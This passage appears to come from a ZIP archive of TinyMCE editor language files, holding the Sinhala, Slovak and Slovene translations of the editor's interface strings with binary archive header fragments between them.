\u0d9a\u0dcf\u0dc0\u0dd0\u0daf\u0dca\u0daf\u0dd6 \u0d9a\u0dda\u0dad\u0dba
\u0db4\u0dc4\u0dad\u0dd2\u0db1\u0dca \u0daf\u0db8\u0db1\u0dca\u0db1",
"Insert video": "\u0dc0\u0dd3\u0da9\u0dd2\u0dba\u0ddd\u0dc0
\u0d87\u0dad\u0dd4\u0dbd\u0dca\u0d9a\u0dbb\u0db1\u0dca\u0db1",
"Embed":
"\u0d9a\u0dcf\u0dc0\u0daf\u0dca\u0daf\u0db1\u0dca\u0db1",
"Nonbreaking space":
"\u0db1\u0ddc\u0d9a\u0dd0\u0da9\u0dd4\u0dab\u0dd4
\u0dc4\u0dd2\u0dc3\u0dca \u0d89\u0dbb",
"Page break": "\u0db4\u0dd2\u0da7\u0dd4
\u0d9a\u0da9\u0db1\u0dba",
"Paste as text": "Paste as text",
"Preview":
"\u0db4\u0dd9\u0dbb\u0daf\u0dc3\u0dd4\u0db1",
"Print": "\u0db8\u0dd4\u0daf\u0dca\u200d\u0dbb\u0dab\u0dba
\u0d9a\u0dbb\u0db1\u0dca\u0db1",
"Save":
"\u0dc3\u0dd4\u0dbb\u0d9a\u0dd2\u0db1\u0dca\u0db1",
"Could not find the specified string.":
"\u0db1\u0dd2\u0dbb\u0dd6\u0db4\u0dd2\u0dad
\u0d85\u0db1\u0dd4\u0dbd\u0d9a\u0dd4\u0dab\u0dd4 \u0dc0\u0dd0\u0dbd
\u0dc3\u0ddc\u0dba\u0dcf \u0d9c\u0dad \u0db1\u0ddc\u0dc4\u0dd0\u0d9a\u0dd2
\u0dc0\u0dd2\u0dba",
"Replace":
"\u0db4\u0dca\u200d\u0dbb\u0dad\u0dd2\u0dc3\u0dca\u0dae\u0dcf\u0db4\u0db1\u0dba
\u0d9a\u0dbb\u0db1\u0dca\u0db1",
"Next": "\u0db4\u0dc3\u0dd4",
"Whole words": "\u0dc3\u0db8\u0dc3\u0dca\u0dad
\u0db4\u0daf",
"Find and replace": "\u0dc3\u0ddc\u0dba\u0dcf
\u0db4\u0dc3\u0dd4\u0dc0
\u0db4\u0dca\u200d\u0dbb\u0dad\u0dd2\u0dc3\u0dca\u0dae\u0dcf\u0db4\u0db1\u0dba
\u0d9a\u0dbb\u0db1\u0dca\u0db1",
"Replace with": "\u0db8\u0dd9\u0dba \u0dc3\u0db8\u0d9f
\u0db4\u0dca\u200d\u0dbb\u0dad\u0dd2\u0dc3\u0dca\u0dae\u0dcf\u0db4\u0db1\u0dba
\u0d9a\u0dbb\u0db1\u0dca\u0db1",
"Find": "\u0dc3\u0ddc\u0dba\u0db1\u0dca\u0db1",
"Replace all": "\u0dc3\u0dd2\u0dba\u0dbd\u0dca\u0dbd\u0db8
\u0db4\u0dca\u200d\u0dbb\u0dad\u0dd2\u0dc3\u0dca\u0dae\u0dcf\u0db4\u0db1\u0dba
\u0d9a\u0dbb\u0db1\u0dca\u0db1",
"Match case": "\u0d9a\u0dcf\u0dbb\u0dab\u0dba
\u0d9c\u0dbd\u0db4\u0db1\u0dca\u0db1",
"Prev": "\u0db4\u0dd9\u0dbb",
"Spellcheck": "\u0d85\u0d9a\u0dca\u0dc2\u0dbb
\u0dc0\u0dd2\u0db1\u0dca\u200d\u0dba\u0dcf\u0dc3\u0dba
\u0db4\u0dbb\u0dd3\u0d9a\u0dca\u0dc2\u0dcf \u0d9a\u0dbb
\u0db6\u0dd0\u0dbd\u0dd3\u0db8",
"Finish": "\u0d85\u0dc0\u0dc3\u0db1\u0dca",
"Ignore all": "\u0dc3\u0dd2\u0dba\u0dbd\u0dca\u0dbd\u0db8
\u0db1\u0ddc\u0dc3\u0dbd\u0d9a\u0dcf
\u0dc4\u0dbb\u0dd2\u0db1\u0dca\u0db1",
"Ignore": "\u0db1\u0ddc\u0dc3\u0dbd\u0d9a\u0dcf
\u0dc4\u0dd0\u0dbb\u0dd3\u0db8",
"Insert row before": "\u0db8\u0dda \u0dad\u0dd0\u0db1\u0da7
\u0db4\u0dd9\u0dbb \u0db4\u0dda\u0dc5\u0dd2\u0dba\u0d9a\u0dca
\u0d91\u0d9a\u0dca \u0d9a\u0dbb\u0db1\u0dca\u0db1",
"Rows": "\u0db4\u0dda\u0dc5\u0dd2",
"Height": "\u0d8b\u0dc3 ",
"Paste row after": "\u0db8\u0dda \u0dad\u0dd0\u0db1\u0da7
\u0db4\u0dc3\u0dd4 \u0db4\u0dda\u0dc5\u0dd2\u0dba
\u0d85\u0db8\u0dd4\u0dab\u0db1\u0dca\u0db1 ",
"Alignment": "\u0db4\u0dd9\u0dc5
\u0d9c\u0dd0\u0dc3\u0dd4\u0db8",
"Column group": "\u0dad\u0dd3\u0dbb\u0dd4
\u0d9a\u0dcf\u0dab\u0dca\u0da9\u0dba",
"Row": "\u0db4\u0dda\u0dc5\u0dd2\u0dba ",
"Insert column before": "\u0db8\u0dda
\u0dad\u0dd0\u0db1\u0da7 \u0db4\u0dd9\u0dbb \u0dad\u0dd3\u0dbb\u0dd4\u0dc0
\u0d91\u0d9a\u0dca \u0d9a\u0dbb\u0db1\u0dca\u0db1",
"Split cell": "\u0d9a\u0ddc\u0da7\u0dd4
\u0dc0\u0dd9\u0db1\u0dca\u0d9a\u0dbb\u0db1\u0dca\u0db1 ",
"Cell padding":
"\u0d9a\u0ddc\u0da7\u0dd4\u0dc0\u0dd9\u0dc4\u0dd2
\u0db4\u0dd2\u0dbb\u0dc0\u0dd4\u0db8",
"Cell spacing":
"\u0d9a\u0ddc\u0da7\u0dd4\u0dc0\u0dd9\u0dc4\u0dd2 \u0d89\u0da9
\u0dc3\u0dd3\u0db8\u0dcf\u0dc0 ",
"Row type":
"\u0db4\u0dda\u0dc5\u0dd2\u0dba\u0dd9\u0dc4\u0dd2
\u0dc0\u0dbb\u0dca\u0d9c\u0dba",
"Insert table": "\u0dc0\u0d9c\u0dd4\u0dc0\u0da7
\u0d87\u0dad\u0dd4\u0dbd\u0dca \u0d9a\u0dbb\u0db1\u0dca\u0db1 ",
"Body": "\u0db4\u0dca\u200d\u0dbb\u0db0\u0dcf\u0db1
\u0d9a\u0ddc\u0da7\u0dc3",
"Caption": "\u0dba\u0da7\u0dd2
\u0dbd\u0dd2\u0dba\u0db8\u0db1 ",
"Footer": "\u0db4\u0dcf\u0daf\u0d9a\u0dba",
"Delete row": "\u0db4\u0dda\u0dc5\u0dd2\u0dba
\u0db8\u0d9a\u0db1\u0dca\u0db1 ",
"Paste row before": "\u0db8\u0dda \u0dad\u0dd0\u0db1\u0da7
\u0db4\u0dd9\u0dbb \u0db4\u0dda\u0dc5\u0dd2\u0dba
\u0d85\u0db8\u0dd4\u0dab\u0db1\u0dca\u0db1 ",
"Scope": "\u0dc0\u0dd2\u0dc2\u0dba\u0db4\u0dae\u0dba",
"Delete table": "\u0dc0\u0d9c\u0dd4\u0dc0
\u0db8\u0d9a\u0db1\u0dca\u0db1 ",
"Header cell": "\u0dc1\u0dd3\u0dbb\u0dca\u0dc2
\u0d9a\u0ddc\u0da7\u0dd4\u0dc0",
"Column": "\u0dad\u0dd3\u0dbb\u0dd4\u0dc0",
"Cell": "\u0d9a\u0ddc\u0da7\u0dd4\u0dc0 ",
"Header": "\u0dc1\u0dd3\u0dbb\u0dca\u0dc2\u0d9a\u0dba",
"Cell type":
"\u0d9a\u0ddc\u0da7\u0dd4\u0dc0\u0dd9\u0dc4\u0dd2
\u0dc0\u0dbb\u0dca\u0d9c\u0dba",
"Copy row": "\u0db4\u0dda\u0dc5\u0dd2\u0dba
\u0db4\u0dd2\u0da7\u0db4\u0dad\u0dca \u0d9a\u0dbb\u0d9c\u0db1\u0dca\u0db1
",
"Row properties":
"\u0db4\u0dda\u0dc5\u0dd2\u0dba\u0dd9\u0dc4\u0dd2
\u0d9c\u0dd4\u0dab\u0dcf\u0d82\u0d9c ",
"Table properties":
"\u0dc0\u0d9c\u0dd4\u0dc0\u0dd9\u0dc4\u0dd2
\u0d9c\u0dd4\u0dab\u0dcf\u0d82\u0d9c ",
"Row group": "\u0db4\u0dda\u0dc5\u0dd2
\u0d9a\u0dcf\u0dab\u0dca\u0da9\u0dba",
"Right": "\u0daf\u0d9a\u0dd4\u0dab",
"Insert column after": "\u0db8\u0dda
\u0dad\u0dd0\u0db1\u0da7 \u0db4\u0dc3\u0dd4 \u0dad\u0dd3\u0dbb\u0dd4\u0dc0
\u0d91\u0d9a\u0dca \u0d9a\u0dbb\u0db1\u0dca\u0db1 ",
"Cols": "\u0dad\u0dd3\u0dbb\u0dd4 ",
"Insert row after": "\u0db8\u0dda \u0dad\u0dd0\u0db1\u0da7
\u0db4\u0dc3\u0dd4 \u0db4\u0dda\u0dc5\u0dd2\u0dba\u0d9a\u0dca
\u0d91\u0d9a\u0dca \u0d9a\u0dbb\u0db1\u0dca\u0db1 ",
"Width": "\u0db4\u0dc5\u0dbd",
"Cell properties":
"\u0d9a\u0ddc\u0da7\u0dd4\u0dc0\u0dd9\u0dc4\u0dd2
\u0d9c\u0dd4\u0dab\u0dcf\u0d82\u0d9c ",
"Left": "\u0dc0\u0db8",
"Cut row": "\u0db4\u0dda\u0dc5\u0dd2\u0dba
\u0d9a\u0db4\u0dcf\u0d9c\u0db1\u0dca\u0db1 ",
"Delete column": "\u0dad\u0dd3\u0dbb\u0dd4\u0dc0
\u0db8\u0d9a\u0db1\u0dca\u0db1 ",
"Center": "\u0db8\u0dd0\u0daf",
"Merge cells": "\u0d9a\u0ddc\u0da7\u0dd4 \u0d91\u0d9a\u0dca
\u0d9a\u0dbb\u0db1\u0dca\u0db1 ",
"Insert template": "\u0d85\u0da0\u0dca\u0da0\u0dd4\u0dc0
\u0d87\u0dad\u0dd4\u0dbd\u0dca \u0d9a\u0dbb\u0db1\u0dca\u0db1",
"Templates": "\u0d85\u0da0\u0dca\u0da0\u0dd4",
"Background color":
"\u0db4\u0dc3\u0dd4\u0db6\u0dd2\u0db8\u0dd9\u0dc4\u0dd2
\u0dc0\u0dbb\u0dca\u0dab\u0dba",
"Text color": "\u0db4\u0dd9\u0dc5
\u0dc3\u0da7\u0dc4\u0db1\u0dda \u0dc0\u0dbb\u0dca\u0dab\u0dba",
"Show blocks": "\u0d9a\u0ddc\u0da7\u0dc3\u0dca
\u0db4\u0dd9\u0db1\u0dca\u0dc0\u0db1\u0dca\u0db1",
"Show invisible characters":
"\u0db1\u0ddc\u0db4\u0dd9\u0db1\u0dd9\u0db1
\u0d85\u0db1\u0dd4\u0dbd\u0d9a\u0dd4\u0dab\u0dd4
\u0db4\u0dd9\u0db1\u0dca\u0dc0\u0db1\u0dca\u0db1",
"Words: {0}": "\u0dc0\u0da0\u0db1: {0}",
"Insert": "\u0d91\u0d9a\u0dca
\u0d9a\u0dbb\u0db1\u0dca\u0db1",
"File": "\u0d9c\u0ddc\u0db1\u0dd4\u0dc0",
"Edit": "\u0dc3\u0d9a\u0dc3\u0db1\u0dca\u0db1",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "\u0db4\u0dd9\u0dc5
\u0dc3\u0da7\u0dc4\u0db1\u0dca \u0db6\u0dc4\u0dd4\u0dbd
\u0db4\u0dca\u200d\u0dbb\u0daf\u0dda\u0dc1\u0dba.
\u0db8\u0dd9\u0db1\u0dd4\u0dc0 \u0dc3\u0db3\u0dc4\u0dcf ALT-F9 
\u0d94\u0db6\u0db1\u0dca\u0db1. \u0db8\u0dd9\u0dc0\u0dbd\u0db8\u0dca
\u0dad\u0dd3\u0dbb\u0dd4\u0dc0 \u0dc3\u0db3\u0dc4\u0dcf ALT-F10 
\u0d94\u0db6\u0db1\u0dca\u0db1. \u0dc3\u0dc4\u0dba
\u0dbd\u0db6\u0dcf\u0d9c\u0dd0\u0db1\u0dd3\u0db8 \u0dc3\u0db3\u0dc4\u0dcf
ALT-0  \u0d94\u0db6\u0db1\u0dca\u0db1.",
"Tools": "\u0db8\u0dd9\u0dc0\u0dbd\u0db8\u0dca",
"View":
"\u0db4\u0dd9\u0db1\u0dca\u0dc0\u0db1\u0dca\u0db1",
"Table": "\u0dc0\u0d9c\u0dd4\u0dc0",
"Format": "\u0dc4\u0dd0\u0da9\u0dad\u0dbd\u0dba"
});PKR��[O��\�%�%tinymce/langs/sk.jsnu�[���tinymce.addI18n('sk',{
"Cut": "Vystrihn\u00fa\u0165",
"Heading 5": "Nadpis 5",
"Header 2": "Nadpis 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.":
"V\u00e1\u0161 prehliada\u010d nepodporuje priamy pr\u00edstup do
schr\u00e1nky. Pou\u017eite kl\u00e1vesov\u00e9 skratky
Ctrl+X\/C\/V.",
"Heading 4": "Nadpis 4",
"Div": "Blok",
"Heading 2": "Nadpis 2",
"Paste": "Vlo\u017ei\u0165",
"Close": "Zatvori\u0165",
"Font Family": "P\u00edsmo",
"Pre": "Preform\u00e1tovan\u00fd",
"Align right": "Zarovna\u0165 vpravo",
"New document": "Nov\u00fd dokument",
"Blockquote": "Cit\u00e1cia",
"Numbered list": "\u010c\u00edslovan\u00fd zoznam",
"Heading 1": "Nadpis 1",
"Headings": "Nadpisy",
"Increase indent": "Zv\u00e4\u010d\u0161i\u0165
odsadenie",
"Formats": "Form\u00e1ty",
"Headers": "Nadpisy",
"Select all": "Ozna\u010di\u0165 v\u0161etko",
"Header 3": "Nadpis 3",
"Blocks": "Bloky",
"Undo": "Vr\u00e1ti\u0165",
"Strikethrough": "Pre\u010diarknut\u00e9",
"Bullet list": "Odr\u00e1\u017eky",
"Header 1": "Nadpis 1",
"Superscript": "Horn\u00fd index",
"Clear formatting": "Vymaza\u0165 form\u00e1tovanie",
"Font Sizes": "Ve\u013ekos\u0165 p\u00edsma",
"Subscript": "Spodn\u00fd index",
"Header 6": "Nadpis 6",
"Redo": "Znova",
"Paragraph": "Odsek",
"Ok": "Ok",
"Bold": "Tu\u010dn\u00e9",
"Code": "K\u00f3d",
"Italic": "Kurz\u00edva",
"Align center": "Zarovna\u0165 na stred",
"Header 5": "Nadpis 5",
"Heading 6": "Nadpis 6",
"Heading 3": "Nadpis 3",
"Decrease indent": "Zmen\u0161i\u0165 odsadenie",
"Header 4": "Nadpis 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.": "Vkladanie je v
m\u00f3de neform\u00e1tovan\u00e9ho textu. Vkladan\u00fd obsah bude
vlo\u017een\u00fd ako neform\u00e1tovan\u00fd, a\u017e pok\u00fdm t\u00fato
mo\u017enos\u0165 nevypnete.",
"Underline": "Pod\u010diarknut\u00e9",
"Cancel": "Zru\u0161i\u0165",
"Justify": "Zarovna\u0165",
"Inline": "\u0160t\u00fdly",
"Copy": "Kop\u00edrova\u0165",
"Align left": "Zarovna\u0165 v\u013eavo",
"Visual aids": "Vizu\u00e1lne pom\u00f4cky",
"Lower Greek": "Mal\u00e9 gr\u00e9cke
p\u00edsmen\u00e1",
"Square": "\u0160tvorec",
"Default": "V\u00fdchodzie",
"Lower Alpha": "Mal\u00e9 p\u00edsmen\u00e1",
"Circle": "Kruh",
"Disc": "Disk",
"Upper Alpha": "Ve\u013ek\u00e9 p\u00edsmen\u00e1",
"Upper Roman": "Ve\u013ek\u00e9 r\u00edmske
\u010d\u00edslice",
"Lower Roman": "Mal\u00e9 r\u00edmske
\u010d\u00edslice",
"Id should start with a letter, followed only by letters, numbers,
dashes, dots, colons or underscores.": "Id by malo
za\u010d\u00edna\u0165 p\u00edsmenom, nasledovan\u00e9 p\u00edsmenami,
\u010d\u00edslami, pom\u013a\u010dkami, bodkami, dvojbodkami alebo
podtr\u017en\u00edkmi.",
"Name": "N\u00e1zov",
"Anchor": "Odkaz",
"Id": "Id",
"You have unsaved changes are you sure you want to navigate
away?": "M\u00e1te neulo\u017een\u00e9 zmeny, naozaj chcete
opusti\u0165 str\u00e1nku?",
"Restore last draft": "Obnovi\u0165 posledn\u00fd
koncept",
"Special character": "\u0160peci\u00e1lny znak",
"Source code": "Zdrojov\u00fd k\u00f3d",
"Language": "Jazyk",
"Insert\/Edit code sample": "Vlo\u017ei\u0165\/upravi\u0165
vzorku k\u00f3du",
"B": "B",
"R": "R",
"G": "G",
"Color": "Farba",
"Right to left": "Sprava do\u013eava",
"Left to right": "Z\u013eava doprava",
"Emoticons": "Smajl\u00edci",
"Robots": "Preh\u013ead\u00e1vacie roboty",
"Document properties": "Vlastnosti dokumentu",
"Title": "Nadpis",
"Keywords": "K\u013e\u00fa\u010dov\u00e9 slov\u00e1",
"Encoding": "K\u00f3dovanie",
"Description": "Popis",
"Author": "Autor",
"Fullscreen": "Na cel\u00fa obrazovku",
"Horizontal line": "Horizont\u00e1lna \u010diara",
"Horizontal space": "Horizont\u00e1lny priestor",
"Insert\/edit image": "Vlo\u017ei\u0165\/upravi\u0165
obr\u00e1zok",
"General": "Hlavn\u00e9",
"Advanced": "Pokro\u010dil\u00e9",
"Source": "Zdroj",
"Border": "Or\u00e1movanie",
"Constrain proportions": "Vymedzen\u00e9 proporcie",
"Vertical space": "Vertik\u00e1lny priestor",
"Image description": "Popis obr\u00e1zku",
"Style": "\u0160t\u00fdl",
"Dimensions": "Rozmery",
"Insert image": "Vlo\u017ei\u0165 obr\u00e1zok",
"Image": "Obr\u00e1zok",
"Zoom in": "Pribl\u00ed\u017ei\u0165",
"Contrast": "Kontrast",
"Back": "Sp\u00e4\u0165",
"Gamma": "Gama",
"Flip horizontally": "Preklopi\u0165
horizont\u00e1lne",
"Resize": "Zmeni\u0165 ve\u013ekos\u0165",
"Sharpen": "Zaostri\u0165",
"Zoom out": "Oddiali\u0165",
"Image options": "Mo\u017enosti obr\u00e1zku",
"Apply": "Pou\u017ei\u0165",
"Brightness": "Jas",
"Rotate clockwise": "Oto\u010di\u0165 v smere
hodinov\u00fdch ru\u010di\u010diek",
"Rotate counterclockwise": "Oto\u010di\u0165 proti smeru
hodinov\u00fdch ru\u010di\u010diek",
"Edit image": "Upravi\u0165 obr\u00e1zok",
"Color levels": "\u00darovne farieb",
"Crop": "Vyreza\u0165",
"Orientation": "Orient\u00e1cia",
"Flip vertically": "Preklopi\u0165 vertik\u00e1lne",
"Invert": "Invertova\u0165",
"Date\/time": "D\u00e1tum\/\u010das",
"Insert date\/time": "Vlo\u017ei\u0165
d\u00e1tum\/\u010das",
"Remove link": "Odstr\u00e1ni\u0165 odkaz",
"Url": "Url",
"Text to display": "Zobrazen\u00fd text",
"Anchors": "Kotvy",
"Insert link": "Vlo\u017ei\u0165 odkaz",
"Link": "Odkaz",
"New window": "Nov\u00e9 okno",
"None": "\u017diadne",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "URL adresa ktor\u00fa ste
zadali vyzer\u00e1 ako extern\u00fd odkaz. Chcete prida\u0165
vy\u017eadovan\u00fa http:\/\/ predponu?",
"Paste or type a link": "Prilepte alebo nap\u00ed\u0161te
odkaz",
"Target": "Cie\u013e",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "URL, ktor\u00fa ste vlo\u017eili
je pravdepodobne emailov\u00e1 adresa. \u017del\u00e1te si prida\u0165
vy\u017eadovan\u00fa mailto: predponu?",
"Insert\/edit link": "Vlo\u017ei\u0165\/upravi\u0165
odkaz",
"Insert\/edit video": "Vlo\u017ei\u0165\/upravi\u0165
video",
"Media": "M\u00e9di\u00e1",
"Alternative source": "Alternat\u00edvny zdroj",
"Paste your embed code below:": "Vlo\u017ete k\u00f3d pre
vlo\u017eenie na str\u00e1nku:",
"Insert video": "Vlo\u017ei\u0165 video",
"Poster": "Uk\u00e1\u017eka",
"Insert\/edit media": "Vlo\u017ei\u0165\/upravi\u0165
m\u00e9di\u00e1",
"Embed": "Vlo\u017een\u00e9",
"Nonbreaking space": "Nedelite\u013en\u00e1 medzera",
"Page break": "Zalomenie str\u00e1nky",
"Paste as text": "Vlo\u017ei\u0165 ako text",
"Preview": "N\u00e1h\u013ead",
"Print": "Tla\u010di\u0165",
"Save": "Ulo\u017ei\u0165",
"Could not find the specified string.": "Zadan\u00fd
re\u0165azec sa nena\u0161iel.",
"Replace": "Nahradi\u0165",
"Next": "Nasleduj\u00face",
"Whole words": "Cel\u00e9 slov\u00e1",
"Find and replace": "Vyh\u013eada\u0165 a
nahradi\u0165",
"Replace with": "Nahradi\u0165 za",
"Find": "H\u013eada\u0165",
"Replace all": "Nahradi\u0165 v\u0161etko",
"Match case": "Rozli\u0161ova\u0165
ve\u013ek\u00e9\/mal\u00e9",
"Prev": "Predch\u00e1dzaj\u00face",
"Spellcheck": "Kontrola pravopisu",
"Finish": "Dokon\u010di\u0165",
"Ignore all": "Ignorova\u0165 v\u0161etko",
"Ignore": "Ignorova\u0165",
"Add to Dictionary": "Prida\u0165 do slovn\u00edka",
"Insert row before": "Vlo\u017ei\u0165 nov\u00fd riadok
pred",
"Rows": "Riadky",
"Height": "V\u00fd\u0161ka",
"Paste row after": "Vlo\u017ei\u0165 riadok za",
"Alignment": "Zarovnanie",
"Border color": "Farba or\u00e1movania",
"Column group": "Skupina st\u013apcov",
"Row": "Riadok",
"Insert column before": "Prida\u0165 nov\u00fd st\u013apec
pred",
"Split cell": "Rozdeli\u0165 bunku",
"Cell padding": "Odsadenie v bunk\u00e1ch",
"Cell spacing": "Priestor medzi bunkami",
"Row type": "Typ riadku",
"Insert table": "Vlo\u017ei\u0165 tabu\u013eku",
"Body": "Telo",
"Caption": "Popisok",
"Footer": "P\u00e4ti\u010dka",
"Delete row": "Zmaza\u0165 riadok",
"Paste row before": "Vlo\u017ei\u0165 riadok pred",
"Scope": "Oblas\u0165",
"Delete table": "Zmaza\u0165 tabu\u013eku",
"H Align": "Horizont\u00e1lne zarovnanie",
"Top": "Vrch",
"Header cell": "Bunka z\u00e1hlavia",
"Column": "St\u013apec",
"Row group": "Skupina riadkov",
"Cell": "Bunka",
"Middle": "Stred",
"Cell type": "Typ bunky",
"Copy row": "Kop\u00edrova\u0165 riadok",
"Row properties": "Vlastnosti riadku",
"Table properties": "Nastavenia tabu\u013eky",
"Bottom": "Spodok",
"V Align": "Vertik\u00e1lne zarovnanie",
"Header": "Z\u00e1hlavie",
"Right": "Vpravo",
"Insert column after": "Prida\u0165 nov\u00fd st\u013apec
za",
"Cols": "St\u013apce",
"Insert row after": "Vlo\u017ei\u0165 nov\u00fd riadok
za",
"Width": "\u0160\u00edrka",
"Cell properties": "Vlastnosti bunky",
"Left": "V\u013eavo",
"Cut row": "Vystrihn\u00fa\u0165 riadok",
"Delete column": "Vymaza\u0165 st\u013apec",
"Center": "Na stred",
"Merge cells": "Spoji\u0165 bunky",
"Insert template": "Vlo\u017ei\u0165
\u0161abl\u00f3nu",
"Templates": "\u0160abl\u00f3ny",
"Background color": "Farba pozadia",
"Custom...": "Vlastn\u00e1...",
"Custom color": "Vlastn\u00e1 farba",
"No color": "Bez farby",
"Text color": "Farba textu",
"Table of Contents": "Obsah",
"Show blocks": "Zobrazi\u0165 bloky",
"Show invisible characters": "Zobrazi\u0165 skryt\u00e9
znaky",
"Words: {0}": "Slov: {0}",
"Insert": "Vlo\u017ei\u0165",
"File": "S\u00fabor",
"Edit": "Upravi\u0165",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "Textov\u00e9 pole. Stla\u010dte ALT-F9
pre zobrazenie menu, ALT-F10 pre zobrazenie panela n\u00e1strojov, ALT-0
pre n\u00e1povedu.",
"Tools": "N\u00e1stroje",
"View": "Zobrazi\u0165",
"Table": "Tabu\u013eka",
"Format": "Form\u00e1t"
});PKR��[���D 
tinymce/langs/sl.jsnu�[���tinymce.addI18n('sl',{
"Cut": "Izre\u017ei",
"Heading 5": "Podnaslov 5",
"Header 2": "Naslov 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.":
"Varnostne nastavitve brskalnika ne dopu\u0161\u010dajo direktnega
dostopa do odlo\u017ei\u0161\u010da. Uporabite kombinacijo tipk
Ctrl+X\/C\/V na tipkovnici.",
"Heading 4": "Podnaslov 4",
"Div": "Div",
"Heading 2": "Podnaslov 2",
"Paste": "Prilepi",
"Close": "Zapri",
"Font Family": "Dru\u017eina pisave",
"Pre": "Predformat",
"Align right": "Desna poravnava",
"New document": "Nov dokument",
"Blockquote": "Navedek",
"Numbered list": "O\u0161tevil\u010den seznam",
"Heading 1": "Podnaslov 1",
"Headings": "Podnaslovi",
"Increase indent": "Pove\u010daj zamik",
"Formats": "Oblika",
"Headers": "Naslovi",
"Select all": "Izberi vse",
"Header 3": "Naslov 3",
"Blocks": "Grupe",
"Undo": "Razveljavi",
"Strikethrough": "Pre\u010drtano",
"Bullet list": "Ozna\u010den seznam",
"Header 1": "Naslov 1",
"Superscript": "Nadpisano",
"Clear formatting": "Po\u010disti oblikovanje",
"Font Sizes": "Velikosti pisave",
"Subscript": "Podpisano",
"Header 6": "Naslov 6",
"Redo": "Ponovi",
"Paragraph": "Odstavek",
"Ok": "V redu",
"Bold": "Krepko",
"Code": "Koda",
"Italic": "Le\u017ee\u010de",
"Align center": "Sredinska poravnava",
"Header 5": "Naslov 5",
"Heading 6": "Podnaslov 6",
"Heading 3": "Podnaslov 3",
"Decrease indent": "Zmanj\u0161aj zamik",
"Header 4": "Naslov 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.": "Odlagali\u0161\u010de
je zdaj v tekstovnem na\u010dinu. Vsebina bo preslikana kot golo besedilo
brez oblike, dokler te mo\u017enosti ne izklju\u010dite.",
"Underline": "Pod\u010drtano",
"Cancel": "Prekli\u010di",
"Justify": "Obojestranska poravnava",
"Inline": "Med besedilom",
"Copy": "Kopiraj",
"Align left": "Leva poravnava",
"Visual aids": "Vizualni pripomo\u010dki",
"Lower Greek": "Male gr\u0161ke \u010drke",
"Square": "Kvadratek",
"Default": "Privzeto",
"Lower Alpha": "Male tiskane \u010drke",
"Circle": "Pikica",
"Disc": "Kroglica",
"Upper Alpha": "Velike tiskane \u010drke",
"Upper Roman": "Velike rimske \u0161tevilke",
"Lower Roman": "Male rimske \u0161tevilke",
"Id should start with a letter, followed only by letters, numbers,
dashes, dots, colons or underscores.": "Id se mora za\u010deti s
\u010drko, sledijo samo \u010drke, \u0161tevilke, pomi\u0161ljaji, pike,
dvopi\u010dja ali pod\u010drtaj.",
"Name": "Ime",
"Anchor": "Sidro",
"Id": "ID",
"You have unsaved changes are you sure you want to navigate
away?": "Imate neshranjene spremembe. Ste prepri\u010dati, da
\u017eelite zapustiti stran?",
"Restore last draft": "Obnovi zadnji osnutek",
"Special character": "Posebni znaki",
"Source code": "Izvorna koda",
"Language": "Jezik",
"Insert\/Edit code sample": "Vstavi\/uredi vzor\u010dno
kodo",
"B": "B",
"R": "R",
"G": "G",
"Color": "Barva",
"Right to left": "Od desne proti levi",
"Left to right": "Od leve proti desni",
"Emoticons": "Sme\u0161koti",
"Robots": "Robotki",
"Document properties": "Lastnosti dokumenta",
"Title": "Naslov",
"Keywords": "Klju\u010dne besede",
"Encoding": "Kodiranje",
"Description": "Opis",
"Author": "Avtor",
"Fullscreen": "\u010cez cel zaslon",
"Horizontal line": "Vodoravna \u010drta",
"Horizontal space": "Vodoravni prostor",
"Insert\/edit image": "Vstavi\/uredi sliko",
"General": "Splo\u0161no",
"Advanced": "Napredno",
"Source": "Vir",
"Border": "Obroba",
"Constrain proportions": "Obdr\u017ei razmerje",
"Vertical space": "Navpi\u010dni prostor",
"Image description": "Opis slike",
"Style": "Slog",
"Dimensions": "Dimenzije",
"Insert image": "Vstavi sliko",
"Image": "Slika",
"Zoom in": "Pove\u010daj",
"Contrast": "Kontrast",
"Back": "Nazaj",
"Gamma": "Gama",
"Flip horizontally": "Zasukaj vodoravno",
"Resize": "Spremeni velikost",
"Sharpen": "Izostri",
"Zoom out": "Pomanj\u0161aj",
"Image options": "Mo\u017enosti slike",
"Apply": "Uporabi",
"Brightness": "Svetlost",
"Rotate clockwise": "Zavrti v smeri urinega kazalca",
"Rotate counterclockwise": "Zavrti v nasprotni smeri urnega
kazalca",
"Edit image": "Uredi sliko",
"Color levels": "Barvni nivoji",
"Crop": "Obre\u017ei",
"Orientation": "Usmerjenost",
"Flip vertically": "Zasukaj navpi\u010dno",
"Invert": "Obrni",
"Date\/time": "Datum/\u010das",
"Insert date\/time": "Vstavi datum\/\u010das",
"Remove link": "Odstrani povezavo",
"Url": "URL",
"Text to display": "Prikazno besedilo",
"Anchors": "Sidra",
"Insert link": "Vstavi povezavo",
"Link": "Povezava",
"New window": "Novo okno",
"None": "Brez",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "Vneseni URL je zunanja
povezava. Ali \u017eelite dodati zahtevano http:\/\/ predpono?",
"Paste or type a link": "Prilepi ali vnesi povezavo",
"Target": "Cilj",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "Vneseni URL je e-po\u0161tni
naslov. Ali \u017eeliteelite dodati zahtevano mailto: predpono?",
"Insert\/edit link": "Vstavi\/uredi povezavo",
"Insert\/edit video": "Vstavi\/uredi video",
"Media": "Mediji",
"Alternative source": "Nadomestni vir",
"Paste your embed code below:": "Prilepite kodo za
vdelavo:",
"Insert video": "Vstavi video",
"Poster": "Poster",
"Insert\/edit media": "Vstavi\/uredi medij",
"Embed": "Vdelaj",
"Nonbreaking space": "Nedeljivi presledek",
"Page break": "Prelom strani",
"Paste as text": "Prilepi kot besedilo",
"Preview": "Predogled",
"Print": "Natisni",
"Save": "Shrani",
"Could not find the specified string.": "Iskanje ni vrnilo
rezultatov.",
"Replace": "Zamenjaj",
"Next": "Naprej",
"Whole words": "Cele besede",
